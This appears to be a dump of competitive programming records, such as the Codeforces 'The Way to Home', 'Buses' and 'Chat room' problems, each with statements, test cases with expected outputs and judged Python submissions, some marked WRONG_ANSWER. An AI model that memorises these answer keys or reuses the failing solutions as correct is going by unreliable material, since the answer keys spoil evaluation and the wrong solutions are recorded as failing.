queue: s = queue.popleft() for i1 in self.gdict[s]: if not visit[i1]: queue.append(i1) visit[i1] = True child.append(i1) parent[i1] = s for i in child[::-1]: self.solve(i) self.pos[parent[i]] = max(self.pos[parent[i]], self.pos[i]) self.neg[parent[i]] = max(self.neg[parent[i]], self.neg[i]) self.solve(1) print(self.pos[1] + self.neg[1]) sys.stdin, sys.stdout = IOWrapper(sys.stdin), IOWrapper(sys.stdout) input = lambda: sys.stdin.readline().rstrip("\r\n") inp = lambda dtype: [dtype(x) for x in input().split()] inp_2d = lambda dtype, n: [dtype(input()) for _ in range(n)] inp_2ds = lambda dtype, n: [inp(dtype) for _ in range(n)] inp_enu = lambda dtype: [(i, x) for i, x in enumerate(inp(dtype))] inp_enus = lambda dtype, n: [[i] + inp(dtype) for i in range(n)] ceil1 = lambda a, b: (a + b - 1) // b n = int(input()) g = graph(n) for _ in range(n - 1): u, v = inp(int) g.addEdge(u, v) a = inp(int) g.subtree(1)
Title: none Time Limit: None seconds Memory Limit: None megabytes Problem Description: A tree is a graph with *n* vertices and exactly *n*<=-<=1 edges; this graph should meet the following condition: there exists exactly one shortest (by number of edges) path between any pair of its vertices. A subtree of a tree *T* is a tree with both vertices and edges as subsets of vertices and edges of *T*. You're given a tree with *n* vertices. Consider its vertices numbered with integers from 1 to *n*. Additionally an integer is written on every vertex of this tree. Initially the integer written on the *i*-th vertex is equal to *v**i*. In one move you can apply the following operation: 1. Select the subtree of the given tree that includes the vertex with number 1. 1. Increase (or decrease) by one all the integers which are written on the vertices of that subtree. Calculate the minimum number of moves that is required to make all the integers written on the vertices of the given tree equal to zero. Input Specification: The first line of the input contains *n* (1<=≤<=*n*<=≤<=105). Each of the next *n*<=-<=1 lines contains two integers *a**i* and *b**i* (1<=≤<=*a**i*,<=*b**i*<=≤<=*n*; *a**i*<=≠<=*b**i*) indicating there's an edge between vertices *a**i* and *b**i*. It's guaranteed that the input graph is a tree. The last line of the input contains a list of *n* space-separated integers *v*1,<=*v*2,<=...,<=*v**n* (|*v**i*|<=≤<=109). Output Specification: Print the minimum number of operations needed to solve the task. Please, do not write the %lld specifier to read or write 64-bit integers in С++. It is preferred to use the cin, cout streams or the %I64d specifier. Demo Input: ['3\n1 2\n1 3\n1 -1 1\n'] Demo Output: ['3\n'] Note: none
```python import os, sys from io import BytesIO, IOBase from collections import * class FastIO(IOBase): newlines = 0 def __init__(self, file): self._fd = file.fileno() self.buffer = BytesIO() self.writable = "x" in file.mode or "r" not in file.mode self.write = self.buffer.write if self.writable else None def read(self): while True: b = os.read(self._fd, max(os.fstat(self._fd).st_size, 8192)) if not b: break ptr = self.buffer.tell() self.buffer.seek(0, 2), self.buffer.write(b), self.buffer.seek(ptr) self.newlines = 0 return self.buffer.read() def readline(self): while self.newlines == 0: b = os.read(self._fd, max(os.fstat(self._fd).st_size, 8192)) self.newlines = b.count(b"\n") + (not b) ptr = self.buffer.tell() self.buffer.seek(0, 2), self.buffer.write(b), self.buffer.seek(ptr) self.newlines -= 1 return self.buffer.readline() def flush(self): if self.writable: os.write(self._fd, self.buffer.getvalue()) self.buffer.truncate(0), self.buffer.seek(0) class IOWrapper(IOBase): def __init__(self, file): self.buffer = FastIO(file) self.flush = self.buffer.flush self.writable = self.buffer.writable self.write = lambda s: self.buffer.write(s.encode("ascii")) self.read = lambda: self.buffer.read().decode("ascii") self.readline = lambda: self.buffer.readline().decode("ascii") class dict(dict): def __missing__(self, key): return 0 class graph: def __init__(self, n): self.n, self.gdict = n, [[] for _ in range(n + 1)] def addEdge(self, node1, node2, w=None): self.gdict[node1].append(node2) self.gdict[node2].append(node1) def solve(self, i): new = self.pos[i] - self.neg[i] + a[i - 1] if new > 0: self.neg[i] += new else: self.pos[i] += -new def subtree(self, v): queue, visit, child = deque([v]), [False] * (n + 1), [] visit[v], nodes, parent = True, [0] * (n + 1), [-1] * (n + 1) self.pos, self.neg = [0] * (n + 1), [0] * (n + 1) while queue: s = queue.popleft() for i1 in self.gdict[s]: if not visit[i1]: queue.append(i1) visit[i1] = True child.append(i1) parent[i1] = s for i in child[::-1]: self.solve(i) self.pos[parent[i]] = max(self.pos[parent[i]], self.pos[i]) self.neg[parent[i]] = max(self.neg[parent[i]], self.neg[i]) self.solve(1) print(self.pos[1] + self.neg[1]) sys.stdin, sys.stdout = IOWrapper(sys.stdin), IOWrapper(sys.stdout) input = lambda: sys.stdin.readline().rstrip("\r\n") inp = lambda dtype: [dtype(x) for x in input().split()] inp_2d = lambda dtype, n: [dtype(input()) for _ in range(n)] inp_2ds = lambda dtype, n: [inp(dtype) for _ in range(n)] inp_enu = lambda dtype: [(i, x) for i, x in enumerate(inp(dtype))] inp_enus = lambda dtype, n: [[i] + inp(dtype) for i in range(n)] ceil1 = lambda a, b: (a + b - 1) // b n = int(input()) g = graph(n) for _ in range(n - 1): u, v = inp(int) g.addEdge(u, v) a = inp(int) g.subtree(1) ```
3
910
A
The Way to Home
PROGRAMMING
800
[ "dfs and similar", "dp", "greedy", "implementation" ]
null
null
A frog lives on the axis *Ox* and needs to reach home which is in the point *n*. She starts from the point 1. The frog can jump to the right at a distance not more than *d*. So, after she jumped from the point *x* she can reach the point *x*<=+<=*a*, where *a* is an integer from 1 to *d*. For each point from 1 to *n* is known if there is a lily flower in it. The frog can jump only in points with a lilies. Guaranteed that there are lilies in the points 1 and *n*. Determine the minimal number of jumps that the frog needs to reach home which is in the point *n* from the point 1. Consider that initially the frog is in the point 1. If the frog can not reach home, print -1.
The first line contains two integers *n* and *d* (2<=≤<=*n*<=≤<=100, 1<=≤<=*d*<=≤<=*n*<=-<=1) — the point, which the frog wants to reach, and the maximal length of the frog jump. The second line contains a string *s* of length *n*, consisting of zeros and ones. If a character of the string *s* equals to zero, then in the corresponding point there is no lily flower. In the other case, in the corresponding point there is a lily flower. Guaranteed that the first and the last characters of the string *s* equal to one.
If the frog can not reach the home, print -1. In the other case, print the minimal number of jumps that the frog needs to reach the home which is in the point *n* from the point 1.
[ "8 4\n10010101\n", "4 2\n1001\n", "8 4\n11100101\n", "12 3\n101111100101\n" ]
[ "2\n", "-1\n", "3\n", "4\n" ]
In the first example the from can reach home in two jumps: the first jump from the point 1 to the point 4 (the length of the jump is three), and the second jump from the point 4 to the point 8 (the length of the jump is four). In the second example the frog can not reach home, because to make it she need to jump on a distance three, but the maximum length of her jump equals to two.
500
[ { "input": "8 4\n10010101", "output": "2" }, { "input": "4 2\n1001", "output": "-1" }, { "input": "8 4\n11100101", "output": "3" }, { "input": "12 3\n101111100101", "output": "4" }, { "input": "5 4\n11011", "output": "1" }, { "input": "5 4\n10001", "output": "1" }, { "input": "10 7\n1101111011", "output": "2" }, { "input": "10 9\n1110000101", "output": "1" }, { "input": "10 9\n1100000001", "output": "1" }, { "input": "20 5\n11111111110111101001", "output": "4" }, { "input": "20 11\n11100000111000011011", "output": "2" }, { "input": "20 19\n10100000000000000001", "output": "1" }, { "input": "50 13\n10011010100010100111010000010000000000010100000101", "output": "5" }, { "input": "50 8\n11010100000011001100001100010001110000101100110011", "output": "8" }, { "input": "99 4\n111111111111111111111111111111111111111111111111111111111011111111111111111111111111111111111111111", "output": "25" }, { "input": "99 98\n100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001", "output": "1" }, { "input": "100 5\n1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111", "output": "20" }, { "input": "100 4\n1111111111111111111111111111111111111111111111111111111111111111111111111111110111111111111111111111", "output": "25" }, { "input": "100 4\n1111111111111111111111111111111111111111111111111111111111111101111111011111111111111111111111111111", "output": "25" }, { "input": "100 3\n1111110111111111111111111111111111111111101111111111111111111111111101111111111111111111111111111111", "output": "34" }, { "input": "100 8\n1111111111101110111111111111111111111111111111111111111111111111111111110011111111111111011111111111", "output": "13" }, { "input": "100 7\n1011111111111111111011101111111011111101111111111101111011110111111111111111111111110111111011111111", "output": "15" }, { "input": "100 9\n1101111110111110101111111111111111011001110111011101011111111111010101111111100011011111111010111111", "output": "12" }, { "input": "100 6\n1011111011111111111011010110011001010101111110111111000111011011111110101101110110101111110000100111", "output": "18" }, { "input": "100 7\n1110001111101001110011111111111101111101101001010001101000101100000101101101011111111101101000100001", "output": "16" }, { "input": "100 11\n1000010100011100011011100000010011001111011110100100001011010100011011111001101101110110010110001101", "output": "10" }, { "input": "100 9\n1001001110000011100100000001000110111101101010101001000101001010011001101100110011011110110011011111", "output": "13" }, { "input": "100 7\n1010100001110101111011000111000001110100100110110001110110011010100001100100001110111100110000101001", "output": "18" }, { "input": "100 10\n1110110000000110000000101110100000111000001011100000100110010001110111001010101000011000000001011011", "output": "12" }, { "input": "100 13\n1000000100000000100011000010010000101010011110000000001000011000110100001000010001100000011001011001", "output": "9" }, { "input": "100 11\n1000000000100000010000100001000100000000010000100100000000100100001000000001011000110001000000000101", "output": "12" }, { "input": "100 22\n1000100000001010000000000000000001000000100000000000000000010000000000001000000000000000000100000001", "output": "7" }, { "input": "100 48\n1000000000000000011000000000000000000000000000000001100000000000000000000000000000000000000000000001", "output": "3" }, { "input": "100 48\n1000000000000000000000100000000000000000000000000000000000000000000001000000000000000000100000000001", "output": "3" }, { "input": "100 75\n1000000100000000000000000000000000000000000000000000000000000000000000000000000001000000000000000001", "output": "3" }, { "input": "100 73\n1000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000001", "output": "2" }, { "input": "100 99\n1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001", "output": "1" }, { "input": "100 1\n1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111", "output": "99" }, { "input": "100 2\n1111111111111111111111111111111110111111111111111111111111111111111111111111111111111111111111111111", "output": "50" }, { "input": "100 1\n1111111111111111011111111111111111111111111111111111111111111111111101111111111111111111111111111111", "output": "-1" }, { "input": "100 3\n1111111111111111111111111101111111111111111111111011111111111111111111111111111011111111111111111111", "output": "33" }, { "input": "100 1\n1101111111111111111111101111111111111111111111111111111111111011111111101111101111111111111111111111", "output": "-1" }, { "input": "100 6\n1111111111111111111111101111111101011110001111111111111111110111111111111111111111111110010111111111", "output": "17" }, { "input": "100 2\n1111111101111010110111011011110111101111111011111101010101011111011111111111111011111001101111101111", "output": "-1" }, { "input": "100 8\n1100110101111001101001111000111100110100011110111011001011111110000110101000001110111011100111011011", "output": "14" }, { "input": "100 10\n1000111110100000001001101100000010011100010101001100010011111001001101111110110111101111001010001101", "output": "11" }, { "input": "100 7\n1110000011010001110101011010000011110001000000011101110111010110001000011101111010010001101111110001", "output": "-1" }, { "input": "100 3\n1111010001000001011011000011001111000100101000101101000010111101111000010000011110110011001101010111", "output": "-1" }, { "input": "100 9\n1101010101101100010111011000010100001010000101010011001001100010110110000000010000101000000001101101", "output": "13" }, { "input": "100 14\n1010100000000000010101000010001100000000000011100010000001000001011010001110001010100000100001101101", "output": "9" }, { "input": "100 13\n1000000001101001110000010000011001000000000000001010000000100001001010000000000000000100010000000001", "output": "-1" }, { "input": "100 18\n1000000000000000110000000000000000010000000001000001000001000000000100000000000010000000000000000001", "output": "-1" }, { "input": "100 32\n1000000000000000000000000001000000000000000000000101000000000000000000000000000000000001000000000001", "output": "-1" }, { "input": "100 79\n1000000001000000000101000000000000000000000000000000000000000000000000000000000000000000000000000001", "output": "2" }, { "input": "100 41\n1000000000000000000000000000000000010000000000000000000000000000000000000000100000000000000000000001", "output": "3" }, { "input": "100 82\n1000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000001", "output": "2" }, { "input": "100 96\n1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001", "output": "-1" }, { "input": "43 30\n1001000001111111010100100100110101011101101", "output": "2" }, { "input": "7 1\n1111111", "output": "6" }, { "input": "9 3\n101000001", "output": "-1" }, { "input": "10 3\n1100000001", "output": "-1" }, { "input": "8 2\n10000101", "output": "-1" }, { "input": "2 1\n11", "output": "1" } ]
1,628,253,168
2,147,483,647
Python 3
OK
TESTS
63
77
6,963,200
n, d = map(int, input().split()) # 0-There is no flower. # 1-There is a flower. is_flower = list(input()) # dp[i] - minimalna liczba skoków aby osiągnąc punkt i. # na punkt i moge wskoczyć wtw. gdy is_flower[i] if is_flower[0] == "0": print(-1) else: dp = [float("inf") for _ in range(n)] dp[0] = 0 for i in range(n - 1): for j in range(i + 1, min(i + d + 1, n)): if is_flower[j] == "1": dp[j] = min(dp[j], dp[i] + 1) if dp[n - 1] == float("inf"): print(-1) else: print(dp[n - 1])
Title: The Way to Home Time Limit: None seconds Memory Limit: None megabytes Problem Description: A frog lives on the axis *Ox* and needs to reach home which is in the point *n*. She starts from the point 1. The frog can jump to the right at a distance not more than *d*. So, after she jumped from the point *x* she can reach the point *x*<=+<=*a*, where *a* is an integer from 1 to *d*. For each point from 1 to *n* is known if there is a lily flower in it. The frog can jump only in points with a lilies. Guaranteed that there are lilies in the points 1 and *n*. Determine the minimal number of jumps that the frog needs to reach home which is in the point *n* from the point 1. Consider that initially the frog is in the point 1. If the frog can not reach home, print -1. Input Specification: The first line contains two integers *n* and *d* (2<=≤<=*n*<=≤<=100, 1<=≤<=*d*<=≤<=*n*<=-<=1) — the point, which the frog wants to reach, and the maximal length of the frog jump. The second line contains a string *s* of length *n*, consisting of zeros and ones. If a character of the string *s* equals to zero, then in the corresponding point there is no lily flower. In the other case, in the corresponding point there is a lily flower. Guaranteed that the first and the last characters of the string *s* equal to one. Output Specification: If the frog can not reach the home, print -1. In the other case, print the minimal number of jumps that the frog needs to reach the home which is in the point *n* from the point 1. Demo Input: ['8 4\n10010101\n', '4 2\n1001\n', '8 4\n11100101\n', '12 3\n101111100101\n'] Demo Output: ['2\n', '-1\n', '3\n', '4\n'] Note: In the first example the from can reach home in two jumps: the first jump from the point 1 to the point 4 (the length of the jump is three), and the second jump from the point 4 to the point 8 (the length of the jump is four). In the second example the frog can not reach home, because to make it she need to jump on a distance three, but the maximum length of her jump equals to two.
```python n, d = map(int, input().split()) # 0-There is no flower. # 1-There is a flower. is_flower = list(input()) # dp[i] - minimalna liczba skoków aby osiągnąc punkt i. # na punkt i moge wskoczyć wtw. gdy is_flower[i] if is_flower[0] == "0": print(-1) else: dp = [float("inf") for _ in range(n)] dp[0] = 0 for i in range(n - 1): for j in range(i + 1, min(i + d + 1, n)): if is_flower[j] == "1": dp[j] = min(dp[j], dp[i] + 1) if dp[n - 1] == float("inf"): print(-1) else: print(dp[n - 1]) ```
3
101
B
Buses
PROGRAMMING
1,700
[ "binary search", "data structures", "dp" ]
B. Buses
2
265
Little boy Gerald studies at school which is quite far from his house. That's why he has to go there by bus every day. The way from home to school is represented by a segment of a straight line; the segment contains exactly *n*<=+<=1 bus stops. All of them are numbered with integers from 0 to *n* in the order in which they follow from Gerald's home. The bus stop by Gerald's home has number 0 and the bus stop by the school has number *n*. There are *m* buses running between the house and the school: the *i*-th bus goes from stop *s**i* to *t**i* (*s**i*<=&lt;<=*t**i*), visiting all the intermediate stops in the order in which they follow on the segment. Besides, Gerald's no idiot and he wouldn't get off the bus until it is still possible to ride on it closer to the school (obviously, getting off would be completely pointless). In other words, Gerald can get on the *i*-th bus on any stop numbered from *s**i* to *t**i*<=-<=1 inclusive, but he can get off the *i*-th bus only on the bus stop *t**i*. Gerald can't walk between the bus stops and he also can't move in the direction from the school to the house. Gerald wants to know how many ways he has to get from home to school. Tell him this number. Two ways are considered different if Gerald crosses some segment between the stops on different buses. As the number of ways can be too much, find the remainder of a division of this number by 1000000007 (109<=+<=7).
The first line contains two space-separated integers: *n* and *m* (1<=≤<=*n*<=≤<=109,<=0<=≤<=*m*<=≤<=105). Then follow *m* lines each containing two integers *s**i*,<=*t**i*. They are the numbers of starting stops and end stops of the buses (0<=≤<=*s**i*<=&lt;<=*t**i*<=≤<=*n*).
Print the only number — the number of ways to get to the school modulo 1000000007 (109<=+<=7).
[ "2 2\n0 1\n1 2\n", "3 2\n0 1\n1 2\n", "5 5\n0 1\n0 2\n0 3\n0 4\n0 5\n" ]
[ "1\n", "0\n", "16\n" ]
The first test has the only variant to get to school: first on bus number one to the bus stop number one; then on bus number two to the bus stop number two. In the second test no bus goes to the third bus stop, where the school is positioned. Thus, the correct answer is 0. In the third test Gerald can either get or not on any of the first four buses to get closer to the school. Thus, the correct answer is 2<sup class="upper-index">4</sup> = 16.
1,000
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47\n48 56\n61 65\n45 46", "output": "0" }, { "input": "31 26\n15 21\n4 25\n5 19\n16 18\n5 23\n3 25\n7 18\n24 31\n6 9\n8 25\n18 29\n12 27\n15 16\n12 20\n2 7\n14 26\n13 22\n5 19\n5 24\n15 23\n4 7\n8 12\n14 26\n28 30\n1 30\n24 31", "output": "0" }, { "input": "69 68\n49 62\n3 38\n1 43\n42 58\n12 64\n1 37\n35 59\n7 43\n2 29\n8 65\n19 47\n4 27\n41 58\n25 60\n17 37\n34 40\n16 38\n28 52\n35 63\n6 65\n57 58\n38 50\n8 28\n6 8\n10 44\n48 63\n2 42\n46 58\n26 62\n37 45\n7 22\n0 21\n19 48\n6 67\n6 15\n28 38\n19 22\n16 20\n27 40\n0 3\n33 69\n2 66\n10 24\n29 48\n26 69\n15 53\n24 34\n34 58\n20 47\n21 23\n38 68\n34 45\n60 68\n7 15\n21 34\n16 30\n14 58\n2 62\n24 66\n13 27\n24 40\n32 37\n10 37\n22 40\n44 50\n27 31\n0 44\n20 32", "output": "622740890" }, { "input": "1 0", "output": "0" }, { "input": "68 74\n51 54\n3 22\n12 24\n3 27\n32 42\n36 55\n60 64\n1 4\n4 23\n11 64\n54 62\n50 56\n21 34\n27 63\n15 54\n28 61\n13 57\n39 53\n12 32\n32 40\n33 67\n55 61\n33 67\n30 37\n15 49\n27 45\n21 41\n8 42\n24 63\n40 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41\n4 16\n11 36\n0 8\n15 38\n3 33\n11 31\n2 33\n5 34\n24 28\n7 32\n15 25\n2 27\n16 44\n31 40\n35 45\n13 38\n29 42\n18 23\n8 25\n13 21\n3 39\n3 41\n5 6\n13 21\n11 20\n23 42", "output": "493168232" }, { "input": "5 31\n0 2\n3 4\n3 5\n2 4\n1 3\n1 2\n2 5\n1 5\n0 2\n2 5\n1 4\n0 2\n1 3\n0 5\n2 3\n1 5\n1 2\n2 3\n0 1\n0 1\n2 4\n0 4\n1 2\n0 3\n1 2\n3 4\n0 2\n0 4\n1 2\n2 5\n1 5", "output": "8595" }, { "input": "81 52\n33 48\n59 61\n37 77\n58 73\n29 54\n1 17\n8 29\n50 73\n7 26\n35 41\n22 26\n9 22\n0 11\n40 73\n25 57\n35 55\n36 54\n29 41\n56 66\n42 77\n29 48\n41 66\n25 36\n2 55\n58 64\n0 61\n23 31\n9 61\n27 45\n2 71\n14 29\n4 31\n0 35\n31 77\n21 39\n0 54\n46 68\n18 62\n41 45\n12 28\n59 66\n39 71\n10 59\n29 77\n16 48\n13 46\n30 73\n2 41\n42 55\n19 61\n28 29\n20 42", "output": "0" }, { "input": "84 50\n33 46\n19 40\n51 64\n37 45\n35 81\n44 81\n6 57\n57 60\n14 53\n15 49\n4 30\n35 49\n2 51\n8 72\n15 18\n49 51\n14 49\n50 71\n41 59\n28 60\n61 81\n9 12\n34 79\n5 56\n60 67\n21 60\n39 71\n31 60\n13 35\n16 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4\n242598247 348534209\n33560125 170667468\n348534209 700314158\n700314158 768016717", "output": "0" }, { "input": "1000000000 2\n0 500000000\n500000000 1000000000", "output": "1" } ]
1,577,083,293
2,147,483,647
PyPy 3
WRONG_ANSWER
TESTS
3
342
409,600
'''input 5 5 0 1 0 2 0 3 0 4 0 5 ''' # A coding delight from sys import stdin from bisect import bisect_right, bisect_left from collections import defaultdict def transform(ALL, points): ALL = list(ALL) ALL.sort() mp = dict() for i in range(0, len(ALL)): mp[ALL[i]] = i for i in range(len(points)): points[i][0] = mp[points[i][0]] points[i][1] = mp[points[i][1]] if n in mp: return mp[n] else: print(0) exit() def brute(graph, dp, target): if target == 0: return 1 if target in graph: if target in dp: return dp[target] ans = 0 for i in graph[target]: ans += brute(graph, dp, i) ans %= mod dp[target] = ans return ans else: return 0 # main starts mod = 10 ** 9 + 7 n, m = list(map(int, stdin.readline().split())) points = [] ALL = set() for _ in range(m): first, second = list(map(int, stdin.readline().split())) points.append([first, second]) ALL.add(first) ALL.add(second) last = transform(ALL, points) ALL = set() graph = defaultdict(set) for i in points: first, second = i for j in range(second - 1, first - 1, -1): graph[second].add(j) dp = dict() print(brute(graph, dp, last)) # print(dp)
Title: Buses Time Limit: 2 seconds Memory Limit: 265 megabytes Problem Description: Little boy Gerald studies at school which is quite far from his house. That's why he has to go there by bus every day. The way from home to school is represented by a segment of a straight line; the segment contains exactly *n*<=+<=1 bus stops. All of them are numbered with integers from 0 to *n* in the order in which they follow from Gerald's home. The bus stop by Gerald's home has number 0 and the bus stop by the school has number *n*. There are *m* buses running between the house and the school: the *i*-th bus goes from stop *s**i* to *t**i* (*s**i*<=&lt;<=*t**i*), visiting all the intermediate stops in the order in which they follow on the segment. Besides, Gerald's no idiot and he wouldn't get off the bus until it is still possible to ride on it closer to the school (obviously, getting off would be completely pointless). In other words, Gerald can get on the *i*-th bus on any stop numbered from *s**i* to *t**i*<=-<=1 inclusive, but he can get off the *i*-th bus only on the bus stop *t**i*. Gerald can't walk between the bus stops and he also can't move in the direction from the school to the house. Gerald wants to know how many ways he has to get from home to school. Tell him this number. Two ways are considered different if Gerald crosses some segment between the stops on different buses. As the number of ways can be too much, find the remainder of a division of this number by 1000000007 (109<=+<=7). Input Specification: The first line contains two space-separated integers: *n* and *m* (1<=≤<=*n*<=≤<=109,<=0<=≤<=*m*<=≤<=105). Then follow *m* lines each containing two integers *s**i*,<=*t**i*. They are the numbers of starting stops and end stops of the buses (0<=≤<=*s**i*<=&lt;<=*t**i*<=≤<=*n*). Output Specification: Print the only number — the number of ways to get to the school modulo 1000000007 (109<=+<=7). Demo Input: ['2 2\n0 1\n1 2\n', '3 2\n0 1\n1 2\n', '5 5\n0 1\n0 2\n0 3\n0 4\n0 5\n'] Demo Output: ['1\n', '0\n', '16\n'] Note: The first test has the only variant to get to school: first on bus number one to the bus stop number one; then on bus number two to the bus stop number two. In the second test no bus goes to the third bus stop, where the school is positioned. Thus, the correct answer is 0. In the third test Gerald can either get or not on any of the first four buses to get closer to the school. Thus, the correct answer is 2<sup class="upper-index">4</sup> = 16.
```python '''input 5 5 0 1 0 2 0 3 0 4 0 5 ''' # A coding delight from sys import stdin from bisect import bisect_right, bisect_left from collections import defaultdict def transform(ALL, points): ALL = list(ALL) ALL.sort() mp = dict() for i in range(0, len(ALL)): mp[ALL[i]] = i for i in range(len(points)): points[i][0] = mp[points[i][0]] points[i][1] = mp[points[i][1]] if n in mp: return mp[n] else: print(0) exit() def brute(graph, dp, target): if target == 0: return 1 if target in graph: if target in dp: return dp[target] ans = 0 for i in graph[target]: ans += brute(graph, dp, i) ans %= mod dp[target] = ans return ans else: return 0 # main starts mod = 10 ** 9 + 7 n, m = list(map(int, stdin.readline().split())) points = [] ALL = set() for _ in range(m): first, second = list(map(int, stdin.readline().split())) points.append([first, second]) ALL.add(first) ALL.add(second) last = transform(ALL, points) ALL = set() graph = defaultdict(set) for i in points: first, second = i for j in range(second - 1, first - 1, -1): graph[second].add(j) dp = dict() print(brute(graph, dp, last)) # print(dp) ```
0
58
A
Chat room
PROGRAMMING
1,000
[ "greedy", "strings" ]
A. Chat room
1
256
Vasya has recently learned to type and log on to the Internet. He immediately entered a chat room and decided to say hello to everybody. Vasya typed the word *s*. It is considered that Vasya managed to say hello if several letters can be deleted from the typed word so that it resulted in the word "hello". For example, if Vasya types the word "ahhellllloou", it will be considered that he said hello, and if he types "hlelo", it will be considered that Vasya got misunderstood and he didn't manage to say hello. Determine whether Vasya managed to say hello by the given word *s*.
The first and only line contains the word *s*, which Vasya typed. This word consisits of small Latin letters, its length is no less that 1 and no more than 100 letters.
If Vasya managed to say hello, print "YES", otherwise print "NO".
[ "ahhellllloou\n", "hlelo\n" ]
[ "YES\n", "NO\n" ]
none
500
[ { "input": "ahhellllloou", "output": "YES" }, { "input": "hlelo", "output": "NO" }, { "input": "helhcludoo", "output": "YES" }, { "input": "hehwelloho", "output": "YES" }, { "input": "pnnepelqomhhheollvlo", "output": "YES" }, { "input": "tymbzjyqhymedasloqbq", "output": "NO" }, { "input": "yehluhlkwo", "output": "NO" }, { "input": "hatlevhhalrohairnolsvocafgueelrqmlqlleello", "output": "YES" }, { "input": "hhhtehdbllnhwmbyhvelqqyoulretpbfokflhlhreeflxeftelziclrwllrpflflbdtotvlqgoaoqldlroovbfsq", "output": "YES" }, { "input": "rzlvihhghnelqtwlexmvdjjrliqllolhyewgozkuovaiezgcilelqapuoeglnwmnlftxxiigzczlouooi", "output": "YES" }, { "input": "pfhhwctyqdlkrwhebfqfelhyebwllhemtrmeblgrynmvyhioesqklclocxmlffuormljszllpoo", "output": "YES" }, { "input": "lqllcolohwflhfhlnaow", "output": "NO" }, { "input": "heheeellollvoo", "output": "YES" }, { "input": "hellooo", "output": "YES" }, { "input": "o", "output": "NO" }, { "input": "hhqhzeclohlehljlhtesllylrolmomvuhcxsobtsckogdv", "output": "YES" }, { "input": "yoegfuzhqsihygnhpnukluutocvvwuldiighpogsifealtgkfzqbwtmgghmythcxflebrkctlldlkzlagovwlstsghbouk", "output": "YES" }, { "input": "uatqtgbvrnywfacwursctpagasnhydvmlinrcnqrry", "output": "NO" }, { "input": "tndtbldbllnrwmbyhvqaqqyoudrstpbfokfoclnraefuxtftmgzicorwisrpfnfpbdtatvwqgyalqtdtrjqvbfsq", "output": "NO" }, { "input": "rzlvirhgemelnzdawzpaoqtxmqucnahvqnwldklrmjiiyageraijfivigvozgwngiulttxxgzczptusoi", "output": "YES" }, { "input": "kgyelmchocojsnaqdsyeqgnllytbqietpdlgknwwumqkxrexgdcnwoldicwzwofpmuesjuxzrasscvyuqwspm", "output": "YES" }, { "input": "pnyvrcotjvgynbeldnxieghfltmexttuxzyac", "output": "NO" }, { "input": "dtwhbqoumejligbenxvzhjlhosqojetcqsynlzyhfaevbdpekgbtjrbhlltbceobcok", "output": "YES" }, { "input": "crrfpfftjwhhikwzeedrlwzblckkteseofjuxjrktcjfsylmlsvogvrcxbxtffujqshslemnixoeezivksouefeqlhhokwbqjz", "output": "YES" }, { "input": "jhfbndhyzdvhbvhmhmefqllujdflwdpjbehedlsqfdsqlyelwjtyloxwsvasrbqosblzbowlqjmyeilcvotdlaouxhdpoeloaovb", "output": "YES" }, { "input": "hwlghueoemiqtjhhpashjsouyegdlvoyzeunlroypoprnhlyiwiuxrghekaylndhrhllllwhbebezoglydcvykllotrlaqtvmlla", "output": "YES" }, { "input": "wshiaunnqnqxodholbipwhhjmyeblhgpeleblklpzwhdunmpqkbuzloetmwwxmeltkrcomulxauzlwmlklldjodozxryghsnwgcz", "output": "YES" }, { "input": "shvksednttggehroewuiptvvxtrzgidravtnjwuqrlnnkxbplctzkckinpkgjopjfoxdbojtcvsuvablcbkrzajrlhgobkcxeqti", "output": "YES" }, { "input": "hyyhddqhxhekehkwfhlnlsihzefwchzerevcjtokefplholrbvxlltdlafjxrfhleglrvlolojoqaolagtbeyogxlbgfolllslli", "output": "YES" }, { "input": "iaagrdhhelxpdegueiulflquvlzidoprzkehthkldaytrjwhyhprwjxlltinxvuilxohqgjqcvkkdcuoliekcnlilwgqlnlzouoo", "output": "YES" }, { "input": "wfluaeseldgxyvxpwuhkptdmlflnlhktwxiabsvkolsquymrmhzczzoybvlilhmvsuunggvgxzgyyffk", "output": "NO" }, { "input": "loee", "output": "NO" }, { "input": "izdipwylefqmjbuoznfglgcfvedeouflkeehxbasaqmiooppfsqlhprospqgxvzrcpwlfdddngoqvpwvggsnvvxhmjoslwjudjlo", "output": "NO" }, { "input": "pplynflbjlseflaegzqpdxswgunhnlglqhycrbcwdfhclmcrwekkzsoosmfblljeenwfjyifcvxihhhbyhmhlkvtskeglaovjnsi", "output": "YES" }, { "input": "xqjqmenkodmlhzyzmmvofdngktygbbxbzpluzcohohmalkoeuwfikblltaaigv", "output": "NO" }, { "input": "hello", "output": "YES" }, { "input": "oohell", "output": "NO" }, { "input": "hell", "output": "NO" }, { "input": "eloellohoelo", "output": "NO" }, { "input": "helllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllo", "output": "YES" } ]
1,590,598,022
2,147,483,647
Python 3
WRONG_ANSWER
TESTS
1
77
204,800
astr = input() ssort = "".join(dict.fromkeys(astr)) result = 0 f = ssort.find('h') a = 0 b = 0 c = 0 d = 0 for i in ssort: if ssort[f+1] == 'e' and ssort[f+2] == 'l' and ssort[f+3] == 'o': result = 1 break if i == 'h': a = a + 1 if i == 'e': b = b + 1 if i == 'l': c = c + 1 if i == 'o': d = d + 1 if a >= 1 and b >= 1 and c >= 1 and d >= 1: result = 1 if result == 0: print("NO") else: print("YES")
Title: Chat room Time Limit: 1 seconds Memory Limit: 256 megabytes Problem Description: Vasya has recently learned to type and log on to the Internet. He immediately entered a chat room and decided to say hello to everybody. Vasya typed the word *s*. It is considered that Vasya managed to say hello if several letters can be deleted from the typed word so that it resulted in the word "hello". For example, if Vasya types the word "ahhellllloou", it will be considered that he said hello, and if he types "hlelo", it will be considered that Vasya got misunderstood and he didn't manage to say hello. Determine whether Vasya managed to say hello by the given word *s*. Input Specification: The first and only line contains the word *s*, which Vasya typed. This word consisits of small Latin letters, its length is no less that 1 and no more than 100 letters. Output Specification: If Vasya managed to say hello, print "YES", otherwise print "NO". Demo Input: ['ahhellllloou\n', 'hlelo\n'] Demo Output: ['YES\n', 'NO\n'] Note: none
